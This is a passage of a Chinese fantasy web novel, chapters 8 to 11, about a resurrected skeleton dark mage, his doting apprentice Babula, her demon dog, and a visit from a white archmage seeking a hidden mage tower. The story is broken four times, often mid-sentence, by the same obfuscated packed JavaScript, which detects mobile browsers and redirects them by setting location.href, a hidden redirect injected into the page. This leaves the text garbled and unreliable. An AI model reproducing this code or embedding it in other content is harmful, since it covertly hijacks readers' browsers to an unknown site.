布莱多恩冷哼:“亡灵魂火受损了,只能用同源的灵魂气息填补。” “如果我的身体还在的话……” “等等,同源的灵魂气息?我有啊!” 芭布拉抱起骷髅头,兴冲冲地冲到墙边,以狮王举小狮子的姿势把它举高高。 “这些可以吗!” 由于地下光线暗淡,布莱多恩一直都没能看清它的全貌。这一次芭布拉点亮了墙边的荧光菇,他才看清这面墙壁全都是展览柜,里面摆满了玲琅满目的展览品 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810473|175212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 布莱多恩不知为何心生不妙,仔细一看,距离他最近的那个柜子,摆了好几本当年芭布拉软磨硬泡拿到的他心爱的藏书,旁边的柜子是他不小心甩折了的魔杖(黑法师十分奇怪她是怎么拿到的?),再旁边是一张张装裱在相框里的纸条,上面标注着“老师批改的试卷01-20”“使用过的法杖1”“留下的笔记1-30”“老师的头发”之类的字样。 …… 她的小博物馆原来是这个意思。 布莱多恩意识到,自己的这个学徒很有可能是个变态。 不,这已经是变态了吧?这跟那些变态的白法师有什么区别?! 白法师建了个博物馆还是因为他们移不走,她不光这么做了还起了一个这么羞耻的名字,分明是乐在其中啊! 黑法师的职业素养阻止了他即将脱口而出的质问。 仔细想想,这也并不算什么出格的事情对吧。比起他那些无时无刻都想捅他刀子的学徒,芭布拉的行为已经算得上相当无害且单纯。 ……尽管这样似乎比捅刀子还让黑法师难受。 他平复了许久,才出声示意:“这个魔杖可以。” “好耶!”芭布拉欢呼一声,抽出了那根断了的魔杖。 她依次将骷髅头、断魔杖和指骨放在无菌菇上,布莱多恩谢绝了她想要自己画法阵的请求,自己动手,精准快速地画出了对应的法阵。 不知道是不是心里有鬼,布莱多恩感觉被她注视到的地方似乎隐隐发热。 你现在可是一具骷髅啊,骷髅是没有触感的。布莱多恩警告自己。 芭布拉第一次施法失败了,蓝色的火苗滋滋地点着了那根魔杖,吓得她一把抓过旁边的红茶全部洒了过去。 布莱多恩盯着自己焦黑的骨头,骚乱不已的内心终于回复了平静。 “冷静一点,刚刚你忘记念了一个连接词。” 第二次施法终于成功了,布莱多恩活动一下好不容易焕发新生的手指,竟然有了些劫后余生的感慨。 芭布拉则是小心翼翼地捧着剩下的废弃魔杖,将它放回了原先的柜子里。 她还在标签上记下:晨历684年睦月,因填补老师的灵魂气息使用了半截。 “也不用写得这么详细吧……” “不行!一定要记下来的!不然以后我忘记了,一定会为只剩下半截的它而心痛!” 布莱多恩忍无可忍了:“为什么要为一只魔杖心痛!还是坏掉的!!!” 芭布拉将魔杖放回原位,再度密封好,心情十分轻松,迈着轻盈的步伐走了过来。 “那是老师的魔杖呀,我肯定要好好保存起来!” 布莱多恩无法理解。 退一步想,毕竟他本人就在这里,为什么她还要收藏这么多废品? 如果再继续思考下去,追溯到芭布拉的这种行为究竟是从什么时候开始的,又是因为何等匪夷所思的原因,布莱多恩感觉自己的世界观可能会经历人生中最恐怖的打击。 ……可是根本停不下来。 所以这个人果然是对他有所企图吧!还是特别变态的那一种!甚至就算他死了也要从冥河里召唤出来!!! “那个,老师?你在思考那些晶体和你的灵魂发生反应的原因吗?” 此时芭布拉还很没有眼力地凑过来,无辜的眼睛眨了眨,很像森林里懵懂的小鹿。 “没有!绝对没有!” “诶?居然没有吗?可是你看起来就好像是在想什么重要的东西。” 布莱多恩几乎是要咆哮了。 “——不重要!一点都不重要!!!” 8. 1-8 呃啊这可恶的光 摇曳烛光映出了一排木质的书架,那些陈旧的书脊上落了许多灰尘。 泛黄的书页翻动,轻盈得如同小提琴上的音符。 从漆黑长袍袖口伸出、抚在书面上的,是一截洁白的手骨。 披着长袍的高大骷髅久久没有翻开下一页,只有魂火无声燃烧。 急促的脚步声从他身后传来,毫无保留地传达出对方雀跃的心情。布莱多恩分神留心可能的袭击,然后下一刻就被敞亮的日光照得差点往后仰倒。 ——芭布拉直接拉开了窗帘。 “老师!你不会看了一晚上书吧?你为什么不开窗啊?眼睛会近视的!” 叽叽喳喳得像麻雀一样烦人的学生凑了过来,把桌上横七竖八的书籍叠在一起,又把写了大半页的草稿纸放到另外一边。 布莱多恩顿了一下,倒也没有阻止她。 “……我现在是死灵。你明白死灵是什么吗?” “啊?” 厚重的书本“啪”地一下合拢,芭布拉下意识立正站好。 “我记得!死灵只是灵魂的一种表现形态,是徘徊于冥河的受罪者——” 布莱多恩点点头,优雅地将手中的书籍放回原先的位置,指骨漫不经心地扫过旁边的书脊。 “嗯,这确实是多数观点,还有呢?” 芭布拉如临大敌:“少、少数派的观点啊……一、一种磁场??” “你一个人的少数派吗?!去去,不要打扰我研究!” 为了避免激怒正在研究状态的老师,芭布拉飞快地溜走了。 她进了厨房,打算做点东西庆祝这个普通又宁静的清晨。 昨天从杂货店买来的蘑菇还摆在桌上,除此之外是堆积如山的碗碟和瓶瓶罐罐。 芭布拉推开几只素白的瓷盘,腾出了一小块空间。她敲了敲桌面,铭刻于灶台上的符文亮起,拉长着脸的南瓜小狗如约而至。 “你,把我关在地下室一晚上。” “因为外面不安全,小庞丁。” 庞丁只能麻木躺平,任由芭布拉将冰冷的锅底贴上它的火焰,黄油的香气渐渐地化开了。 “切点蘑菇碎,庞丁,再给我点洋葱。” 蓝色的火舌顺从地勾起餐刀和蘑菇,一片片白色的蘑菇落入锅中。美妙的食物香气忽然触动了芭布拉的灵感,她戳了戳那截忙碌的火苗。 “庞丁,你吃过很多灵魂,你一定对灵魂很有研究吧?” “这你就想错了,我亲爱的主人。你会在意每天早上吃掉的小面包的原材料是什么,又应该如何制作吗?”小狗翻了个身,露出青白的腹部焰心,懒洋洋地说,“当然不,我只需要知道用什么火候烹饪它是最好吃的就足够了。” 芭布拉将锅里滋滋作响的蘑菇和洋葱碎翻了个面,笑了起来。 “啊,庞丁啊庞丁,难怪你吃了这么多年还只有这么小小一只。” 庞丁:? “你根本不懂得烹饪的本质。”芭布拉对他摇了摇食指。 “哦吼?您谦卑的仆人已经准备好要聆听您的教诲了。” “无论是烹饪面包,还是烹饪灵魂,两者的本质都是一样的。你必须要带着充沛的热情,注入你的满腔爱意,才能够激荡出食材最深层的本味。” 随着加热,勾人味蕾的香气不断升腾,类似雨后泥土般的芳香,又比它更加浓烈。 庞丁脸色大变。 “呕,你不要再说了,快住口,恶魔听不得这个!” 庞丁一直坚信自己是个很有格调的恶魔,应当远离那些相信太阳信奉光明的生物。他为自己精心挑选了一位黑法师学徒,魔力虽然不算太纯粹,但修习的魔法很正宗。 但他忘了恶魔同样讨厌快乐。 芭布拉虽然不喜欢晒太阳,也不信仰光明,可她整天就为点小事傻乐。 “呕——我尊敬的主人,如果、如果你还想吃到美味的早餐,我建议您可以思考一些更为美妙的事情,比如——比如在您导师王者归来之后,应该去哪里胡所非为,或者怎么给白塔的人一点颜色看看……呕呕呕不是让你沉浸在幸福当中的那种事情啊——” “庞丁!你要绿了!!!” * 摆在布莱多恩面前的是一份看上去十分家常的蘑菇奶油汤。 在他对面的则是满脸傻笑的芭布拉。 香味,没问题。 颜色,很正常。 味道……布莱多恩犹豫片刻,才说:“你真的知道我已经不是人了吧?就算你放一碗毒汤在这里,我也吃不了。” “说什么呢老师,就算你吃不了也不能少了你这一份,烹饪必不可少的,当然就是爱了!” 布莱多恩差点打翻盘子。 爱什么!什么爱! 你都多大了怎么还爱来爱去的!!! 无声的寂静中,庞丁窝在芭布拉脚边,有一下没一下地舔着盘子。吸溜,吸溜,声音还挺大。 忽然,两人一狗听见两声很有礼貌的敲门声。 芭布拉脸上的笑意立刻就僵住了。 “怎么了?” “敲门声,是从门外传来的……我、我从来没有告诉过任何人博物馆的位置,怎么会有人来敲门呢?” 为了安全防护,芭布拉对自己的安全屋进行了三重折叠。 第一重是黑松林外的采药人小屋,第二重则是位于黑松林中的蘑菇屋,最后一重则深藏在地下的小小博物馆。 镇民们只会敲开采药人小屋的门,修女则只知道蘑菇屋的地址,唯独地下的博物馆从未迎来陌生的客人。 “显然,有人跟踪你,或者他比你的实力要高很多很多。” 布莱多恩做出了判断。 芭布拉当即试图和庞丁一样躲进蘑菇桌子底下,被布莱多恩抓住手臂拉了出去。 “等等,对方愿意敲门说明他还有耐心沟通,如果真的有恶意的话,早就攻击了。” “可、可是,好恐怖啊!”她手足无措,一把握住布莱多恩的臂骨,“老师,要不,你跟我一起去开门……” “……走吧。” 布莱多恩伪装成普通的骷髅兵走在她旁边。看着他沉稳的身影,少女的情绪一点点放松了。 她拉开了门。 然后像被自己尾巴吓到的雪豹一样原地蹦了起来。 “喔哦哦哦哦哦哦!?!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810474|175212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布莱多恩一手把她往自己方向拉,一边戒备地看向门外。 “你鬼叫什么啊?都这么大了能不能稳重喔嗷嗷嗷嗷嗷!??!” 他看到了。 他没想到自己竟然在复活的第二天就直接正面对上了讨伐自己的罪魁祸首,那张装模作样的脸永远烙印在他脑海中。 那个银发的老不死! 怎么会在这里!!! 布莱多恩愕然转头,看向同样也很震惊的芭布拉,两人以眼神无声确认。 奥兰纳斯,是活生生的奥兰纳斯。 “日安,芭布拉小姐。” 银发的大魔导身上穿着一整套十分正式的白色西装,领口别了一只金色狮鹫徽章,那是白塔的标志。 他脱下头顶的小圆帽,按在胸前,向她低头致意。 绸缎般的长发随着他的动作滑落,在日光下绽放出耀眼的光辉。 两个黑魔法师快要睁不开眼了! “日……日安……” “也许芭布拉小姐曾经听说过我的一些虚名,我名为奥兰纳斯,现在是白塔的首席。冒昧来访,希望没有打扰到你。” 已经打扰到了! 虽然心里是这么想的,但芭布拉和布莱多恩都继承了黑法师一脉相传的特质——勇于面对敌强我弱的现实。 “没有没有!!只是家里有一点乱,哈哈,能不能请您稍微在门外等一等呢……” “当然,您请便。” 奥兰纳斯的笑容如沐春风,说完便不再往门内看去,真是一个体贴的白法师啊。 芭布拉慌慌张张地把可疑的法阵擦掉,再撒点消除粉把四周黑魔法的痕迹掩盖掉(布莱多恩:咳咳咳!对准点撒!进眼睛了!!),最后她环顾一周,觉得好像还少了一点什么。 啊,要有光。 芭布拉召来几朵荧光菇,几簇几簇地聚拢在一起,就是一盏盏明亮的光源。 当芭布拉再度打开房门,迎接这位有史以来最著名的白法师时,她的小博物馆已经变得亮堂堂、暖乎乎,更像是某个倾向自然侧的自然术士的居所了。 “额……大魔导阁下,请进!” “打扰了。” 坐在蘑菇椅上的奥兰纳斯浑身简直像是在发光,荧光菇不甘示弱,大放光芒。 两个黑法师是真的要融化在这种光芒里了。 奥兰纳斯忍不住笑了一下,他伸手点了点荧光菇,那光芒便自动调节到了最为舒适的亮度。 “我这次来,只是给你带来一个消息。” “布鲁斯奇被捕了。” 芭布拉瞪大眼睛,情不自禁地看了一眼旁边假装自己是低智能骷髅兵的布莱多恩。 以防有人忘记,布鲁斯奇是那个在逃的黑法师学徒,当年可是所有学徒里最心狠手辣,天赋最高的那一个。 但布莱多恩看起来并没有什么反应。 “那您来找我有什么事呢?我跟他从来没有什么联系,他也不屑于联系我这样的人。”芭布拉皱了皱鼻子。 “是这样的,他供出了最后一个黑法师塔的位置。” “这个世界上,除了他,也许只有您才知道如何开启了。” 9. 1-9 法师塔里的秘密 “……法师塔?” 芭布拉有点紧张地重复了一遍。 “是的,根据对方的供述,那座最后的黑法师塔,就位于约格兰镇。”大魔导师笑眯眯地点了点头,银发折射出绚丽的光,“没错,就是这座小镇,就在这座山上噢。” 而她原来所在的那一个大概就是专门用来关……安置学徒的塔,除了一个又一个007全年无休做实验的学徒和基础的实验设施之外竟然空空如也。 黑法师生前深谙狡兔三窟的道理,用自己劫掠来的财富修筑了许多法师塔,甚至连每座塔里存放的东西都不一样。相对的,每座塔的开启方法也各不相同,别说这一座,任何一座法师塔的开启方法他都没有告诉任何人。 而在黑法师死后,他的法师塔或是因为失去能源而被暴露,或是被白法师瓜分,又或者被他的学徒内部消化。 芭布拉根本就不知道所谓的开启方法,正打算拒绝的时候,站在白法师背后的骷髅给她使了个眼色。 是的,眼色。 那两团魂火悄无声息地上下点了点。 芭布拉眨眨眼,试图将自己的注意力集中到白法师那张几乎快要发光的脸上。 “……但我怀疑,这些都只是他故意留在明面上的靶子。我调查过目前疑似名单上的所有法师塔,没有任何一座留下了用来保命的术法痕迹。作为那位的学徒,你应当比我更了解黑法师们的诡计多端吧?他们怎么可能没有留下替身或者命匣一类的后手呢?” “有没有一种可能……他根本就没考虑过自己可能会死掉?” 奥兰纳斯温和而坚决地否认道:“绝不可能。” 芭布拉乖乖闭嘴。 “我的意思是……嗯……黑法师往往都擅长于亵渎生命的黑魔法,他们往往极难消灭,极为难缠。除此以外,布莱多恩多年前从穆兰王国抢走的夜鸦冠冕、阿多尼斯之眼等等珍宝目前也沓无音讯,这些秘密想必还藏在最后那座法师塔里。” 面对侃侃而谈的白法师,芭布拉只能憋出一个“哦”。 从她的视角看去,白法师身后的骷髅老师虽然一动不动,但它眼眶中的魂火已经由蓝转绿了。在法师塔的主人面前讨论塔里的财宝,对主人来说未免也太过失礼了。芭布拉努力集中注意力,比起老师发火,她更害怕奥兰纳斯会从她的眼神里察觉到什么,进而破坏她复活老师的大计。 然而,芭布拉手足无措的举动落在奥兰纳斯眼中,被他解读成了她对自己的恐惧。 那一战之后他也曾调查过芭布拉,但一无所获,她是个彻头彻尾的普通人。就奥兰纳斯的经验来看,她根本就不适合研习魔法。 较低的元素亲和、粘滞的施法手势、并不突出的魔法天赋,她属于勉勉强强能够跨越这一道门槛,但终生难进寸步的人。 明明面对着无尽的宝山,只需要往前几步就能够步入更好的美景,可却因为天赋只能被困在原地,这种感觉何等残忍。 恐怕也只有黑法师这种生冷不忌的导师才会招收这样的学徒。 而她甚至对黑魔法也没什么天赋,这么多年了,她使用过最多的黑魔法是用来杀鱼的灵魂解离。别说人类,这种程度的灵魂解离大概连路边的兔子也能抵御。 但是在她身上,奥兰纳斯能够看到最初的、最纯粹的黑法师的影子。 于是,这位尊贵的白法师为了表达安抚,对着芭布拉露出了一个很是典雅的笑容。嘴角的弧度,低下头的角度,就连耳边掉落的银发闪过的光芒都仿佛经过了精心的设计。 芭布拉:“嘶!” 我看不清了!我要融化了!! 在她绞尽脑汁思考接下来应该说什么的时候,一直躲在她身后的骷髅动了。 它……它不是很熟练地从实验台上翻出了茶杯和茶壶! 芭布拉大为震撼。 布莱多恩竟然在给奥兰纳斯倒茶! 赫赫有名的黑法师竟然在给带人打进他老家的奥兰纳斯倒茶! 要是眼前发生的这一幕能够记录下来的话,整个魔法界都会为之震动的吧。 芭布拉感觉自己方才的坐立不安以及慌乱已经随着自己心底某种东西随风而逝了,毕竟和给大哥倒茶这件事比起来,她也不过就是要撒一个小谎罢了。 谢谢你,老师。原来我要学习的事情还多的是呢。 茶水香气四溢,奥兰纳斯完全没有注意到这位给自己倒茶的骷髅兵有什么异常。 毕竟黑法师随手召唤两个骷髅兵干点杂事又有什么不对呢? 他没注意到倒完茶退到一旁的骷髅架子悄悄抬起头,对着芭布拉迅速地眨了一下右眼。 虽然它没有眼皮,但它能够控制魂火的明灭。 芭布拉心底的慌乱顿时一扫而空,把酝酿了半天的真假掺半的腹稿一股脑倒了出来。 “我听布鲁斯奇说过!老、布、布莱多恩有一个从来没有开启过的传送阵,它的目的地很有可能就是那座法师塔。我做了很多年学徒,但是从来没有听到过这座塔,也从没有听说过那些珍宝……我想,他一定是把它们藏起来了。” “是的,是的。那位学徒也曾经提到过,一个短距离的传送阵,我已经查探过了,但法阵已毁,很难重新复原。” 芭布拉还没来得及松口气,就被他的下一句话噎住。 “——好在他知道另外一条路。” 芭布拉小心地瞄了一眼站在一旁佯装无害的骷髅。 “既然你已经从他口中得知了一切,那为什么还要来找我呢?你知道的,我向来不怎么被看好,也没有接触到什么核心的秘密……” 奥兰纳斯仍维持着他的风度,就连嘴边的微笑都显得恰到好处。 “请不要妄自菲薄,芭布拉女士。我来找你,当然是因为我想邀请你加入我们的队伍。站在一位导师的立场上,既然愿意选择你成为我的学徒,那么就代表你身上一定存在着某种闪光点,使你从人群中脱颖而出。” 不不,黑法师是真的有教无类,因为教不会的都死了…… 芭布拉小心翼翼地控制住了自己的想法,选择附和他。 “也许你是对的,但我可能没有办法完成你所期待的事情。我……我还有很多事情要做,我还要攒钱交摊位费……” 奥兰纳斯闻言,立即掏出了一个丝绒表面的布袋,他拉开系带,露出了闪亮的秘银,金属表面流动着魔力的辉光,这种程度的光泽必定是最上等的秘银。 “这是定金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810475|175212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”奥兰纳斯温和地解释道,“今天出来得有些匆忙,身上只带了这些秘银。秘银的市价一直都相当不错,这种来自月翳山脉族群的秘银更受欢迎,如果你需要金钱,只需要出售一部分……” 芭布拉看得眼睛都直了,但想到老师还在面前,咬着牙拒绝了他的定金。 “不、不行!这太贵重了!请您先回去吧,我会好好考虑的!” 这番谈话最终以奥兰纳斯的告辞作结尾,他留下了他的通讯地址,还留下了一份小小的礼物——一大把只生长在清晨雨后最靠近朝霞的曦光蘑菇,不仅能发光,甚至还会发热。 彬彬有礼的白魔导走出门外之后,甚至不忘脱帽示意。 “打扰了,希望你今日愉快。” “……谢谢。” 芭布拉立即关上了门。 两个黑法师松了口气,移动光源离开了,室内的光线都变得柔和许多。 然后骷髅架子就不再保持一板一眼的姿态,斜着靠在实验台上,冷冰冰地警告他的小学徒。 “他在骗你。” “那个叛徒估计交出了门钥匙,如果有两个学徒,说不定还真的能给他蒙混过去。毕竟,没有任何一个拥有理智的法师会硬闯一个黑法师塔,哪怕它没有主人。”说到最后它阴险地笑起来,骨头摩擦的声音尖利刺耳。 “对了,那些秘银你为什么不收?这种东西可是有价无市的,只需要加进一点点,我的这副身躯就能变得无比坚韧。” “不,老师,这可不是无主的法师塔,它的主人不就站在我面前吗?我怎么可以收下他的贿赂!” “你说的很对,不过仅限于前半句。我不在乎什么忠诚、什么面子,只有到手的利益才是最牢固的。”得到芭布拉的点头后,骷髅这才满意地换了另一个骨感的姿势,放低了声音,“嗯,说起来,我怎么不记得我有在这个破小镇搞过第二个法师塔?” “什么?” 芭布拉的疑惑很快就被布莱多恩的怒火带走了。 “不过,我没想到我的学徒里居然会有人向白法师告密……布鲁斯奇是吗?我记住这个名字了,我会让他付出代价……” 话是这么说,芭布拉还是觉得整件事很奇怪。她和这位大魔导几乎毫无交集,除了二十多年前的那次狭路相逢。 又正好是在她复活布莱多恩的这个时候,这总让她感到有些不安。 “老师,我们不会被奥兰纳斯骗了吧?实际上根本没有这样一个法师塔?” “骗你有什么好处?” 芭布拉沉默了。 “我的法师塔数不胜数!也许真的有一个漏网之鱼被他们发现了,这并非无法解释。” “最关键的是!只要我能拿回属于我的那些财富……距离我恢复力量不就更近了一步?只要我能恢复力量,还有什么事情值得让你害怕? “芭布拉,我愚蠢的学徒啊,不要过于在意那些阴谋诡计,只要我们掌握了力量,一切难题都会迎刃而解。” 布莱多恩很满意自己慷慨激昂的发言,一转过头,就看见芭布拉的星星眼。 “老师!你果然还承认我是你的学徒呜呜呜我好感动……” “你就听到了这一句吗!逆徒!!” 10. 1-10 在布莱多恩的指导下,芭布拉写好了一封措辞严谨的信,表示自己愿意前往,希望白法师能够告诉自己地址,并约定在下一个月圆之夜在那里碰头。 然后他会和自己的学徒偷偷潜入法师塔里,尽可能把能带走的东西全部都带走。 法师塔的主人确实不在意自己的珍宝被人讨论,但他并不愿意与人共享。 白法师留下的地址是一串精灵文,用这种文字书写的地址,只有自然精灵才能够到达。 “哼,这人还是跟以前一样阴险。他这是为了测试你的魔力倾向吧?如果是偏向亡灵侧的,肯定不会有自然精灵会接受你的召唤。” 当然,他自己就知道五种可以掩饰、伪装的方法,可这并不妨碍他看不惯对方的手段。 这难不倒芭布拉,她在导师挑剔的指导下战战兢兢地画好了法阵,并献上新鲜的木星草,专注地念出对应的咒文,从费安莱蒂中召唤出愿意替她跑腿的灵体。 过了一会儿,一只风妖精落到翠绿的叶子上,它有着宽大而轻盈的绿色双翼,纤长的触须像水母一样透明。风妖精似乎很满意她的礼物,从她手中接过信件,在她身边飞了一圈。 接着它的目光就落到了在一旁舔壳的南瓜小狗。 在此之前,芭布拉从来没有听说过妖精会仇恨恶魔,抑或是她的个人恩怨,总之,风妖精恶狠狠地在室内掀起了一场风暴,在场的法师(主要是芭布拉)努力抗衡,然而生于自然的精灵也不是那么好欺负的,在芭布拉念出第一个音节之前,它就直接抽走了她的魔杖。 芭布拉拼命按住自己的裙摆不让它往上飞扬,她看向罪魁祸首布莱多恩,它一把脆弱的老骨头根本抵挡不住,直接碎成了一块一块的,散落在地上咕噜咕噜转。 至于庞丁—— 它早早地缩进了南瓜里。 芭布拉忽然感觉自己稚嫩的肩膀已经背负了太多。 她得自力更生! 她得肩负起保护这个家的责任! 魔杖被夺走了没有关系,她还可以直接从根本解决问题。 她艰难地,朝着法阵迈出一步。 几乎是同时,风妖精就意识到了她想做什么。它恨屋及乌,对着芭布拉发出了一道紊乱的元素涡流。 芭布拉闪躲不及,被狂风刮得睁不开眼睛,没走两步就左脚绊右脚摔倒在地。 风里传来了尖锐怪异的笑声,风妖精恶劣地嘲笑起这帮居然和恶魔为伍的家伙。 但它马上就笑不出来了,召唤阵中敞开的通道忽然扭曲了一下,随即变得越来越窄,它能停留的时间只剩下短短一瞬。 风妖精把信吐了出来,在门彻底关闭前回到了自己的居所。 缺胳膊少腿的骷髅架子从芭布拉肩膀上拿下自己的手骨,狠狠地接在肩胛骨上。 凭借魂火观察世界的黑暗生物无需视力,指引芭布拉擦掉了法阵,断掉了魔力供应。 新的问题,出现了。 芭布拉用颤抖的手指向那具骷髅:“……老师,你身上是不是,少了点什么?” 缺了半排肋骨,半截脚掌的骷髅坐回了椅子上。 “能用眼睛看就不要用嘴巴问了。” 芭布拉徒劳地在地上摸索:“我刚补好的啊……还是找不到啊,是跟着妖精一起掉回去了吗?” “十有八九。” “那怎么办啊!!!” 布莱多恩回答得很果断:“找回来。” 南瓜小狗忽然一个激灵。 “你们怎么都看着我?尊敬的主人,请容许你卑微的仆从事先禀明,冥河对于您尚未恢复力量的弱小仆人来说太过危险,要是被我昔日仇敌看到我这幅模样——” “求求你了,庞丁!”这是眼神陈恳的芭布拉。 “伟大的恶魔阁下,这件事只可能拜托你才有些许希望。”这是身坚志残的骷髅。 “就、就算你们这么请求我……!” “等你回来,我一定会努力培养坏坏的念头给你吃!” 火焰尾巴立刻舒展开了。 “那……那要是你答应分我一点灵魂,我就考虑一下。” “做你的美梦!这破事是谁惹出来的啊!” 布莱多恩立刻反戈相向,与其相信恶魔,不如再用点别的骨头继续缝缝补补。 芭布拉是中间派,她并不在意自己死后的灵魂是归冥河还是恶魔,但是她很在意流落在外的骨头。 “灵魂是不可以的啦,学徒的灵魂不应该是都属于导师的吗!庞丁,我们之前不是说好了吗?” “可是他死了。” “会活过来的!” 小狗甩了甩尾巴,没吭声,但未尽之意已经从它忽然变暗的火光中展露无疑了。 这个时候布莱多恩偏偏还要挤进来:“你召唤术明明用得还不错的,怎么会被那个恶魔缠上了?” “庞丁是自己跳出来的啦。” 小狗不敢置信:“我亲爱的主人,你这么说让我很伤心!明明我们的相遇是命运的选择!” 芭布拉闻言赶紧过去撸狗,庞丁很是顺从地趴下了。 “其实呢——我有一个办法,没必要直接下冥河——”庞丁拉长声音,火焰舌头一不小心也吐得很长。 “是什么呢?亲爱的庞丁——” “咳咳!”它清了清嗓子,“哦,我睿智的主人,你怎能忘记在召唤死灵之前,是先在它身上附加了定位的语素呢?那种小妖精的风暴不可能吹得太远,单从定位的角度来说,无论是在现世还是在冥河中,都不影响这个语素的效力啊——” “也就是说,遗失的部分完全可以在此通过召唤来定位所在!” 芭布拉恍然大悟。 * 黑松林。 无星无月的夜里,高大的黑松在夜风中如波涛般起伏,像笼罩在约格兰镇上挥之不去的阴影。 于是那点不住跳跃的火光成了唯一的光源。 火焰映着红发,竭力驱散周围的黑影。孤身一人的女性举着火把,小心翼翼地走在林间的小道上。 然而浓稠的黑暗犹如实质般,似乎真的有什么隐藏在阴影中攒动着、试探着,渴望血肉的视线紧紧地追随着那点火光。 “——格瑞娜?” 这声呼唤仿佛击打在女人岌岌可危的心理防线上,她颤抖了一下,火光也随之晦暗不明。 光线照亮了来者的脸庞,那对清澈的绿色眼眸似乎渗入了团团水藻,不再像白天时那么无害单纯。尽管格瑞娜第一时间认出了芭布拉,但她还是起了一身鸡皮疙瘩。 “芭布拉?是你吗?” “是我。我出去采了点药,是只有在晚上才会开放的夜根草哦。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810476|175212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>少女从自己斜挎着的小布包中取出几把开放着星星点点蓝色小花,献宝一样捧到她面前。随着她的动作与笑,那种非人般的恐惧感才渐渐淡去。格瑞娜暗暗责备自己的胆怯,顺着芭布拉的话题夸了夸她的勤奋。 “难怪我在小屋找不到你……不过,我还是第一次知道,芭布拉你晚上出门不需要带火把吗?” “是哦,这是天生的,就算在特别暗的地方我也可以看清!” 格瑞娜似乎松了一口气。 “这可真是天赋异禀啊,难怪你敢一个人住在这附近……” 【你居然学会了撒谎,看来你也不是毫无长进。】芭布拉耳边忽然响起了一道细微的声音。 【没有啦老师,我只是为了照顾一下格瑞娜姐姐的心情,她看上去好像快要喊救命了!】 【……我没有在真的夸你。】 基于精灵密文的传音,当然,是经过黑法师改良的黑暗生物也能使用的普适版。 由于缺了一半的骨头,暂时行动不便的布莱多恩干脆让芭布拉带上自己的头骨,两人追着对遗失骨头的感应深入黑松林中,但追到一半定位的法术却仿佛被扰乱了,指向的地方时远时近,两人转来转去,越来越迷茫。 顺便一提,“它”就装在小布包里,刚刚那些夜根草是从它太阳穴里抽出去的。 两人都没有想过会遇上意外的客人,心神不定的格瑞娜似乎也没有注意到其他不对劲的地方,她只是沉默着,然而连芭布拉都能感受到压在她喉间的话语,已经快要让她承受不住了。 “格瑞娜。”芭布拉牵过她另一只垂在身侧的手,那只手颤了一下,但并没有拒绝,“你的手好冷,是发生什么事情了吗?” 火在燃烧。 确切地说,是浸满了油的树皮正在燃烧,发出轻微的滋滋声。 芭布拉微微皱了一下眉。 “我……我很害怕。”格瑞娜嗫嚅道。 芭布拉握紧她的手,冷却的汗有些黏腻。 “我想,这件事也许只有你才能……芭布拉,我需要你帮助我……” “怎么了?到底发生什么事了?” 格瑞娜的嘴唇颤抖了两下,但她没能说出话来。 “……很抱歉,我无法描述,请你、请你跟我来。” 【不对劲。】 【我当然知道不对劲啦,所以才需要本法师出场啊!】 【学徒。】他残忍地指出了这一点。 格瑞娜像是从芭布拉身上获得了些许力量,略微用力地回握了她。 “是乔纳斯……” 格瑞娜的话因压抑而破碎成断断续续的字词,原本紧握的火把也随之掉落,在湿润的泥土上打了几个圈,最终无奈地熄灭。 她垂下头,将芭布拉的手交握至胸前。 是一个祈求的姿态。 “乔纳斯受伤了,他……” “什么?这种事情有什么好为难的啊!格瑞娜,你帮了我那么多次,不管怎么样我都会帮你的!” 但说完之后,芭布拉发现格瑞娜并没有因此而放松下来,反而微微地颤抖起来。 “怎么了……他伤得很重?” “是、是的。芭布拉,请你跟我来吧,当你看到了,就会明白。” 芭布拉想也没想地就点了点头,她们向更深的山林里走去。 11. 1-11 痛失队友 “是在山里受伤的吗?” 夜风吹得枝叶晃动,她们似乎已经深入到了芭布拉并不太熟悉的地带。 “……原本是来打猎,但是在追逐野兽的时候受了伤……” 